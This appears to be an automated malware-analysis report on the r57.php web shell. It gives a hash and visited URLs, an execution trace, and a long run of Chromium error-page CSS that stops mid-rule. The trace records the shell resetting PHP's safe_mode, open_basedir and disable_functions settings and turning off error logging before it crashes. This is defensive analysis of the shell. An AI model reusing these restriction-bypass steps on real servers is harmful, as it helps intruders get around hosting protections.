PHP Malware Analysis

r57.php

md5: c9babaed49ccd07a38f0b3931864194d

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Execution

Files

Input

Title

URLs
  • http://localhost/r57.php (HTML)
  • http://resimyukle.me/server/php/files/76b1a46b883b02d8861e19e68c0b1dd3/computer.png (Original)
  • http://www.html5rocks.com/en/tutorials/canvas/hidpi/ (HTML)
  • https://crbug.com/740629 (HTML)
  • https://w3c.github.io/gamepad/#remapping (HTML)


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/c9babaed49ccd07a38f0b3931864194d_trace-1676254461.9083.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:14:47.806076]
1	0	1	0.000146	393512
1	3	0	0.005186	1549304	{main}	1		/var/www/html/uploads/r57.php	0	0
2	4	0	0.005221	1549304	error_reporting	0		/var/www/html/uploads/r57.php	1	1	0
2	4	1	0.005238	1549344
2	4	R			22527
1		A						/var/www/html/uploads/r57.php	2	$language = 'tr'
1		A						/var/www/html/uploads/r57.php	3	$auth = 0
2	5	0	0.005275	1549304	ini_restore	0		/var/www/html/uploads/r57.php	4	1	'safe_mode'
2	5	1	0.005290	1549336
2	5	R			NULL
2	6	0	0.005304	1549304	ini_restore	0		/var/www/html/uploads/r57.php	5	1	'open_basedir'
2	6	1	0.005317	1549336
2	6	R			NULL
2	7	0	0.005331	1549304	ini_restore	0		/var/www/html/uploads/r57.php	6	1	'safe_mode_include_dir'
2	7	1	0.005344	1549336
2	7	R			NULL
2	8	0	0.005357	1549304	ini_restore	0		/var/www/html/uploads/r57.php	7	1	'safe_mode_exec_dir'
2	8	1	0.005370	1549336
2	8	R			NULL
2	9	0	0.005383	1549304	ini_restore	0		/var/www/html/uploads/r57.php	8	1	'disable_functions'
2	9	1	0.005396	1549336
2	9	R			NULL
2	10	0	0.005408	1549304	ini_restore	0		/var/www/html/uploads/r57.php	9	1	'allow_url_fopen'
2	10	1	0.005421	1549336
2	10	R			NULL
2	11	0	0.005434	1549304	ini_set	0		/var/www/html/uploads/r57.php	10	2	'error_log'	NULL
2	11	1	0.005449	1549376
2	11	R			''
2	12	0	0.005462	1549304	ini_set	0		/var/www/html/uploads/r57.php	11	2	'log_errors'	0
2	12	1	0.005476	1549376
2	12	R			'1'
2	13	0	0.005489	1549304	function_exists	0		/var/www/html/uploads/r57.php	14	1	'ini_get'
2	13	1	0.005503	1549344
2	13	R			TRUE
2	14	0	0.005516	1549304	ini_get	0		/var/www/html/uploads/r57.php	14	1	'open_basedir'
2	14	1	0.005535	1549336
2	14	R			''
2	15	0	0.005549	1549304	ini_get	0		/var/www/html/uploads/r57.php	14	1	'safe_mode_include_dir'
2	15	1	0.005562	1549336
2	15	R			FALSE
1		A						/var/www/html/uploads/r57.php	15	$open_basedir = 0
2	16	0	0.005587	1549304	getmicrotime	1		/var/www/html/uploads/r57.php	17	0
3	17	0	0.005600	1549304	microtime	0		/var/www/html/uploads/r57.php	1095	0
3	17	1	0.005613	1549352
3	17	R			'0.91378700 1676254461'
3	18	0	0.005626	1549352	explode	0		/var/www/html/uploads/r57.php	1095	2	' '	'0.91378700 1676254461'
3	18	1	0.005641	1549880
3	18	R			[0 => '0.91378700', 1 => '1676254461']
2		A						/var/www/html/uploads/r57.php	1095	$usec = '0.91378700'
2		A						/var/www/html/uploads/r57.php	1095	$sec = '1676254461'
2	16	1	0.005681	1549304
2	16	R			1676254461.9138
2	19	0	0.005696	1549304	define	0		/var/www/html/uploads/r57.php	17	2	'starttime'	1676254461.9138
2	19	1	0.005710	1549408
2	19	R			TRUE
1	3	1	0.005731	1549688
1	20	0	0.005739	1549720	Error->__toString	0		Unknown	0	0
2	21	0	0.005752	1549800	Error->getTraceAsString	0		Unknown	0	0
2	21	1	0.005767	1550056
2	21	R			'#0 {main}'
1	20	1	0.005783	1550352
1	20	R			'Error: Call to undefined function set_magic_quotes_runtime() in /var/www/html/uploads/r57.php:18\nStack trace:\n#0 {main}'
			0.005852	1471176
TRACE END   [2023-02-13 00:14:47.811809]


Generated HTML code

<html dir="ltr" lang="en"><head>
  <meta charset="utf-8">
  <meta name="color-scheme" content="light dark">
  <meta name="theme-color" content="#fff">
  <meta name="viewport" content="width=device-width, initial-scale=1.0,
                                 maximum-scale=1.0, user-scalable=no">
  <title>localhost</title>
  <style>/* Copyright 2017 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

a {
  color: var(--link-color);
}

body {
  --background-color: #fff;
  --error-code-color: var(--google-gray-700);
  --google-blue-100: rgb(210, 227, 252);
  --google-blue-300: rgb(138, 180, 248);
  --google-blue-600: rgb(26, 115, 232);
  --google-blue-700: rgb(25, 103, 210);
  --google-gray-100: rgb(241, 243, 244);
  --google-gray-300: rgb(218, 220, 224);
  --google-gray-500: rgb(154, 160, 166);
  --google-gray-50: rgb(248, 249, 250);
  --google-gray-600: rgb(128, 134, 139);
  --google-gray-700: rgb(95, 99, 104);
  --google-gray-800: rgb(60, 64, 67);
  --google-gray-900: rgb(32, 33, 36);
  --heading-color: var(--google-gray-900);
  --link-color: rgb(88, 88, 88);
  --popup-container-background-color: rgba(0,0,0,.65);
  --primary-button-fill-color-active: var(--google-blue-700);
  --primary-button-fill-color: var(--google-blue-600);
  --primary-button-text-color: #fff;
  --quiet-background-color: rgb(247, 247, 247);
  --secondary-button-border-color: var(--google-gray-500);
  --secondary-button-fill-color: #fff;
  --secondary-button-hover-border-color: var(--google-gray-600);
  --secondary-button-hover-fill-color: var(--google-gray-50);
  --secondary-button-text-color: var(--google-gray-700);
  --small-link-color: var(--google-gray-700);
  --text-color: var(--google-gray-700);
  background: var(--background-color);
  color: var(--text-color);
  word-wrap: break-word;
}

.nav-wrapper .secondary-button {
  background: var(--secondary-button-fill-color);
  border: 1px solid var(--secondary-button-border-color);
  color: var(--secondary-button-text-color);
  float: none;
  margin: 0;
  padding: 8px 16px;
}

.hidden {
  display: none;
}

html {
  -webkit-text-size-adjust: 100%;
  font-size: 125%;
}

.icon {
  background-repeat: no-repeat;
  background-size: 100%;
}

@media (prefers-color-scheme: dark) {
  body {
    --background-color: var(--google-gray-900);
    --error-code-color: var(--google-gray-500);
    --heading-color: var(--google-gray-500);
    --link-color: var(--google-blue-300);
    --primary-button-fill-color-active: rgb(129, 162, 208);
    --primary-button-fill-color: var(--google-blue-300);
    --primary-button-text-color: var(--google-gray-900);
    --quiet-background-color: var(--background-color);
    --secondary-button-border-color: var(--google-gray-700);
    --secondary-button-fill-color: var(--google-gray-900);
    --secondary-button-hover-fill-color: rgb(48, 51, 57);
    --secondary-button-text-color: var(--google-blue-300);
    --small-link-color: var(--google-blue-300);
    --text-color: var(--google-gray-500);
  }
}
</style>
  <style>/* Copyright 2014 The Chromium Authors
   Use of this source code is governed by a BSD-style license that can be
   found in the LICENSE file. */

button {
  border: 0;
  border-radius: 4px;
  box-sizing: border-box;
  color: var(--primary-button-text-color);
  cursor: pointer;
  float: right;
  font-size: .875em;
  margin: 0;
  padding: 8px 16px;
  transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
  user-select: none;
}

[dir='rtl'] button {
  float: left;
}

.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
  background: var(--primary-button-fill-color);
}

button:active {
  background: var(--primary-button-fill-color-active);
  outline: 0;
}

#debugging {
  display: inline;
  overflow: auto;
}

.debugging-content {
  line-height: 1em;
  margin-bottom: 0;
  margin-top: 1em;
}

.debugging-content-fixed-width {
  display: block;
  font-family: monospace;
  font-size: 1.2em;
  margin-top: 0.5em;
}

.debugging-title {
  font-weight: bold;
}

#details {
  margin: 0 0 50px;
}

#details p:not(:first-of-type) {
  margin-top: 20px;
}

.secondary-button:active {
  border-color: white;
  box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
      0 2px 6px 2px rgba(60, 64, 67, .15);
}

.secondary-button:hover {
  background: var(--secondary-button-hover-fill-color);
  border-color: var(--secondary-button-hover-border-color);
  text-decoration: none;
}

.error-code {
  color: var(--error-code-color);
  font-size: .8em;
  margin-top: 12px;
  text-transform: uppercase;
}

#error-debugging-info {
  font-size: 0.8em;
}

h1 {
  color: var(--heading-color);
  font-size: 1.6em;
  font-weight: normal;
  line-height: 1.25em;
  margin-bottom: 16px;
}

h2 {
  font-size: 1.2em;
  font-weight: normal;
}

.icon {
  height: 72px;
  margin: 0 0 40px;
  width: 72px;
}

input[type=checkbox] {
  opacity: 0;
}

input[type=checkbox]:focus ~ .checkbox::after {
  outline: -webkit-focus-ring-color auto 5px;
}

.interstitial-wrapper {
  box-sizing: border-box;
  font-size: 1em;
  line-height: 1.6em;
  margin: 14vh auto 0;
  max-width: 600px;
  width: 100%;
}

#main-message > p {
  display: inline;
}

#extended-reporting-opt-in {
  font-size: .875em;
  margin-top: 32px;
}

#extended-reporting-opt-in label {
  display: grid;
  grid-template-columns: 1.8em 1fr;
  position: relative;
}

#enhanced-protection-message {
  border-radius: 4px;
  font-size: 1em;
  margin-top: 32px;
  padding: 10px 5px;
}

#enhanced-protection-message label {
  display: grid;
  grid-template-columns: 2.5em 1fr;
  position: relative;
}

#enhanced-protection-message div {
  margin: 0.5em;
}

#enhanced-protection-message .icon {
  height: 1.5em;
  vertical-align: middle;
  width: 1.5em;
}

.nav-wrapper {
  margin-top: 51px;
}

.nav-wrapper::after {
  clear: both;
  content: '';
  display: table;
  width: 100%;
}

.small-link {
  color: var(--small-link-color);
  font-size: .875em;
}

.checkboxes {
  flex: 0 0 24px;
}

.checkbox {
  --padding: .9em;
  background: transparent;
  display: block;
  height: 1em;
  left: -1em;
  padding-inline-start: var(--padding);
  position: absolute;
  right: 0;
  top: -.5em;
  width: 1em;
}

.checkbox::after {
  border: 1px solid white;
  border-radius: 2px;
  content: '';
  height: 1em;
  left: var(--padding);
  position: absolute;
  top: var(--padding);
  width: 1em;
}

.checkbox::before {
  background: transparent;
  border: 2px solid white;
  border-inline-end-width: 0;
  border-top-width: 0;
  content: '';
  height: .2em;
  left: calc(.3em + var(--padding));
  opacity: 0;
  position: absolute;
  top: calc(.3em  + var(--padding));
  transform: rotate(-45deg);
  width: .5em;
}

input[type=checkbox]:checked ~ .checkbox::before {
  opacity: 1;
}

#recurrent-error-message {
  background: #ededed;
  border-radius: 4px;
  margin-bottom: 16px;
  margin-top: 12px;
  padding: 12px 16px;
}

.showing-recurrent-error-message #extended-reporting-opt-in {
  margin-top: 16px;
}

.showing-recurrent-error-message #enhanced-protection-message {
  margin-top: 16px;
}

@media (max-width: 700px) {
  .interstitial-wrapper {
    padding: 0 10%;
  }

  #error-debugging-info {
    overflow: auto;
  }
}

@media (max-width: 420px) {
  button,
  [dir='rtl'] button,
  .small-link {
    float: none;
    font-size: .825em;
    font-weight: 500;
    margin: 0;
    width: 100%;
  }

  button {
    padding: 16px 24px;
  }

  #details {
    margin: 20px 0 20px 0;
  }

  #details p:not(:first-of-type) {
    margin-top: 10px;
  }

  .secondary-button:not(.hidden) {
    display: block;
    margin-top: 20px;
    text-align: center;
    width: 100%;
  }

  .interstitial-wrapper {
    padding: 0 5%;
  }

  #extended-reporting-opt-in {
    margin-top: 24px;
  }

  #enhanced-protection-message {
    margin-top: 24px;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

/**
 * Mobile specific styling.
 * Navigation buttons are anchored to the bottom of the screen.
 * Details message replaces the top content in its own scrollable area.
 */

@media (max-width: 420px) {
  .nav-wrapper .secondary-button {
    border: 0;
    margin: 16px 0 0;
    margin-inline-end: 0;
    padding-bottom: 16px;
    padding-top: 16px;
  }
}

/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
       (min-height: 401px),
       (min-width: 421px) and (min-height: 240px) and
       (max-height: 560px) {
  body .nav-wrapper {
    background: var(--background-color);
    bottom: 0;
    box-shadow: 0 -12px 24px var(--background-color);
    left: 0;
    margin: 0 auto;
    max-width: 736px;
    padding-inline-end: 24px;
    padding-inline-start: 24px;
    position: fixed;
    right: 0;
    width: 100%;
    z-index: 2;
  }

  .interstitial-wrapper {
    max-width: 736px;
  }

  #details,
  #main-content {
    padding-bottom: 40px;
  }

  #details {
    padding-top: 5.5vh;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  body {
    margin: 0 auto;
  }

  button,
  [dir='rtl'] button,
  button.small-link,
  .nav-wrapper .secondary-button {
    font-family: Roboto-Regular,Helvetica;
    font-size: .933em;
    margin: 6px 0;
    transform: translatez(0);
  }

  .nav-wrapper {
    box-sizing: border-box;
    padding-bottom: 8px;
    width: 100%;
  }

  #details {
    box-sizing: border-box;
    height: auto;
    margin: 0;
    opacity: 1;
    transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  #details.hidden,
  #main-content.hidden {
    height: 0;
    opacity: 0;
    overflow: hidden;
    padding-bottom: 0;
    transition: none;
  }

  h1 {
    font-size: 1.5em;
    margin-bottom: 8px;
  }

  .icon {
    margin-bottom: 5.69vh;
  }

  .interstitial-wrapper {
    box-sizing: border-box;
    margin: 7vh auto 12px;
    padding: 0 24px;
    position: relative;
  }

  .interstitial-wrapper p {
    font-size: .95em;
    line-height: 1.61em;
    margin-top: 8px;
  }

  #main-content {
    margin: 0;
    transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
  }

  .small-link {
    border: 0;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
    margin: 0;
  }
}

@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

@media (min-height: 400px) and (orientation:portrait) {
  .interstitial-wrapper {
    margin-bottom: 145px;
  }
}

@media (min-height: 299px) {
  .nav-wrapper {
    padding-bottom: 16px;
  }
}

@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
  .extended-reporting-has-checkbox #details {
    padding-bottom: 80px;
  }
}

@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
       (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 7vh;
  }
}

@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
  .interstitial-wrapper {
    margin-top: 10vh;
  }
}

/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
       (max-height: 239px) and (orientation: landscape),
       (max-width: 419px) and (max-height: 399px) {
  .interstitial-wrapper {
    display: flex;
    flex-direction: column;
    margin-bottom: 0;
  }

  #details {
    flex: 1 1 auto;
    order: 0;
  }

  #main-content {
    flex: 1 1 auto;
    order: 0;
  }

  .nav-wrapper {
    flex: 0 1 auto;
    margin-top: 8px;
    order: 1;
    padding-inline-end: 0;
    padding-inline-start: 0;
    position: relative;
    width: 100%;
  }

  button,
  .nav-wrapper .secondary-button {
    padding: 16px 24px;
  }

  button.small-link {
    color: var(--google-blue-600);
  }
}

@media (max-width: 239px) and (orientation: portrait) {
  .nav-wrapper {
    padding-inline-end: 0;
    padding-inline-start: 0;
  }
}
</style>
  <style>/* Copyright 2013 The Chromium Authors
 * Use of this source code is governed by a BSD-style license that can be
 * found in the LICENSE file. */

/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
  display: none;
}

/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
  display: none;
}

h1 {
  margin-top: 0;
  word-wrap: break-word;
}

h1 span {
  font-weight: 500;
}

a {
  text-decoration: none;
}

.icon {
  -webkit-user-select: none;
  display: inline-block;
}

.icon-generic {
  /* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
   * renderer process, so embed the resource manually. */
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}

.icon-offline {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
  position: relative;
}

.icon-disabled {
  content: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
  width: 112px;
}

.hidden {
  display: none;
}

#suggestions-list a {
  color: var(--google-blue-600);
}

#suggestions-list p {
  margin-block-end: 0;
}

#suggestions-list ul {
  margin-top: 0;
}

.single-suggestion {
  list-style-type: none;
  padding-inline-start: 0;
}

#error-information-button {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
  height: 24px;
  vertical-align: -.15em;
  width: 24px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup {
  align-items: center;
  background-color: var(--popup-container-background-color);
  display: flex;
  height: 100%;
  left: 0;
  position: fixed;
  top: 0;
  width: 100%;
  z-index: 100;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-content > p {
  margin-bottom: 11px;
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list ul {
  margin-inline-start: 15px;
}

.use-popup-container#error-information-popup-container
  #error-information-popup-box {
  background-color: var(--background-color);
  left: 5%;
  padding-bottom: 15px;
  padding-top: 15px;
  position: fixed;
  width: 90%;
  z-index: 101;
}

.use-popup-container#error-information-popup-container div.error-code {
  margin-inline-start: 20px;
}

.use-popup-container#error-information-popup-container #suggestions-list p {
  margin-inline-start: 20px;
}

:not(.use-popup-container)#error-information-popup-container
  #error-information-popup-close {
  display: none;
}

#error-information-popup-close {
  margin-bottom: 0;
  margin-inline-end: 35px;
  margin-top: 15px;
  text-align: end;
}

.link-button {
  color: rgb(66, 133, 244);
  display: inline-block;
  font-weight: bold;
  text-transform: uppercase;
}

#sub-frame-error-details {

  color: #8F8F8F;

  /* Not done on mobile for performance reasons. */
  text-shadow: 0 1px 0 rgba(255,255,255,0.3);

}

[jscontent=hostName],
[jscontent=failedUrl] {
  overflow-wrap: break-word;
}

.secondary-button {
  background: #d9d9d9;
  color: #696969;
  margin-inline-end: 16px;
}

.snackbar {
  background: #323232;
  border-radius: 2px;
  bottom: 24px;
  box-sizing: border-box;
  color: #fff;
  font-size: .87em;
  left: 24px;
  max-width: 568px;
  min-width: 288px;
  opacity: 0;
  padding: 16px 24px 12px;
  position: fixed;
  transform: translateY(90px);
  will-change: opacity, transform;
  z-index: 999;
}

.snackbar-show {
  -webkit-animation:
    show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
    hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}

@-webkit-keyframes show-snackbar {
  100% {
    opacity: 1;
    transform: translateY(0);
  }
}

@-webkit-keyframes hide-snackbar {
  0% {
    opacity: 1;
    transform: translateY(0);
  }
  100% {
    opacity: 0;
    transform: translateY(90px);
  }
}

.suggestions {
  margin-top: 18px;
}

.suggestion-header {
  font-weight: bold;
  margin-bottom: 4px;
}

.suggestion-body {
  color: #777;
}

/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
  h1 {
    margin: 0 0 15px;
  }
  .suggestions {
    margin-top: 10px;
  }
  .suggestion-header {
    margin-bottom: 0;
  }
}

#download-link,
#download-link-clicked {
  margin-bottom: 30px;
  margin-top: 30px;
}

#download-link-clicked {
  color: #BBB;
}

#download-link::before,
#download-link-clicked::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

#download-link-clicked::before {
  opacity: 0;
  width: 0;
}

#offline-content-list-visibility-card {
  border: 1px solid white;
  border-radius: 8px;
  display: flex;
  font-size: .8em;
  justify-content: space-between;
  line-height: 1;
}

#offline-content-list.list-hidden #offline-content-list-visibility-card {
  border-color: rgb(218, 220, 224);
}

#offline-content-list-visibility-card > div {
  padding: 1em;
}

#offline-content-list-title {
  color: var(--google-gray-700);
}

#offline-content-list-show-text,
#offline-content-list-hide-text {
  color: rgb(66, 133, 244);
}

/* Hides the "hide" text div when the offline content list is collapsed/hidden
 * and, alternatively, hides the "show" text div when the offline content list
 * is expanded/shown.
 */
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
  display: none;
}

/* Controls the animation of the offline content list when it is expanded/shown.
 */
#offline-content-suggestions {
  /* Max-height has to be set for the height animation to work. The chosen value
   * is a little greater than the maximum height the list will have, when all
   * suggestions have images, so that it is never clamped. This makes so that
   * when the actual height is smaller then the animation is not as smooth.
   */
  max-height: 27em;
  transition: max-height 200ms ease-in, visibility 0s 200ms,
              opacity 200ms 200ms linear;
}

/* Controls the animation of the offline content list when it is
 * collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-suggestions {
  max-height: 0;
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms,
              max-height 200ms 200ms ease-out;
  visibility: hidden;
}

#offline-content-list {
  margin-inline-start: -5%;
  width: 110%;
}

/* The selectors below adjust the "overflow" of the suggestion cards contents
 * based on the same screen size based strategy used for the main frame, which
 * is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px)  {
  #offline-content-list {
    margin-inline-start: -2.5%;
    width: 105%;
  }
}
@media (max-width: 420px) and (orientation: portrait),
       (max-height: 560px) {
  #offline-content-list {
    margin-inline-start: -12px;
    width: calc(100% + 24px);
  }
}

.suggestion-with-image .offline-content-suggestion-thumbnail {
  flex-basis: 8.2em;
  flex-shrink: 0;
}

.suggestion-with-image .offline-content-suggestion-thumbnail > img {
  height: 100%;
  width: 100%;
}

.suggestion-with-image #offline-content-list:not(.is-rtl)
.offline-content-suggestion-thumbnail > img {
  border-bottom-right-radius: 7px;
  border-top-right-radius: 7px;
}

.suggestion-with-image #offline-content-list.is-rtl
.offline-content-suggestion-thumbnail > img {
  border-bottom-left-radius: 7px;
  border-top-left-radius: 7px;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail {
  align-items: center;
  display: flex;
  justify-content: center;
  min-height: 4.2em;
  min-width: 4.2em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div {
  align-items: center;
  background-color: rgb(241, 243, 244);
  border-radius: 50%;
  display: flex;
  height: 2.3em;
  justify-content: center;
  width: 2.3em;
}

.suggestion-with-icon .offline-content-suggestion-thumbnail > div > img {
  height: 1.45em;
  width: 1.45em;
}

.offline-content-suggestion-favicon {
  height: 1em;
  margin-inline-end: 0.4em;
  width: 1.4em;
}

.offline-content-suggestion-favicon > img {
  height: 1.4em;
  width: 1.4em;
}

.no-favicon .offline-content-suggestion-favicon {
  display: none;
}

.image-video {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTcgMTAuNVY3YTEgMSAwIDAgMC0xLTFINGExIDEgMCAwIDAtMSAxdjEwYTEgMSAwIDAgMCAxIDFoMTJhMSAxIDAgMCAwIDEtMXYtMy41bDQgNHYtMTFsLTQgNHoiIGZpbGw9IiMzQzQwNDMiLz48L3N2Zz4=);
}

.image-music-note {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNMTIgM3Y5LjI2Yy0uNS0uMTctMS0uMjYtMS41LS4yNkM4IDEyIDYgMTQgNiAxNi41UzggMjEgMTAuNSAyMXM0LjUtMiA0LjUtNC41VjZoNFYzaC03eiIgZmlsbD0iIzNDNDA0MyIvPjwvc3ZnPg==);
}

.image-earth {
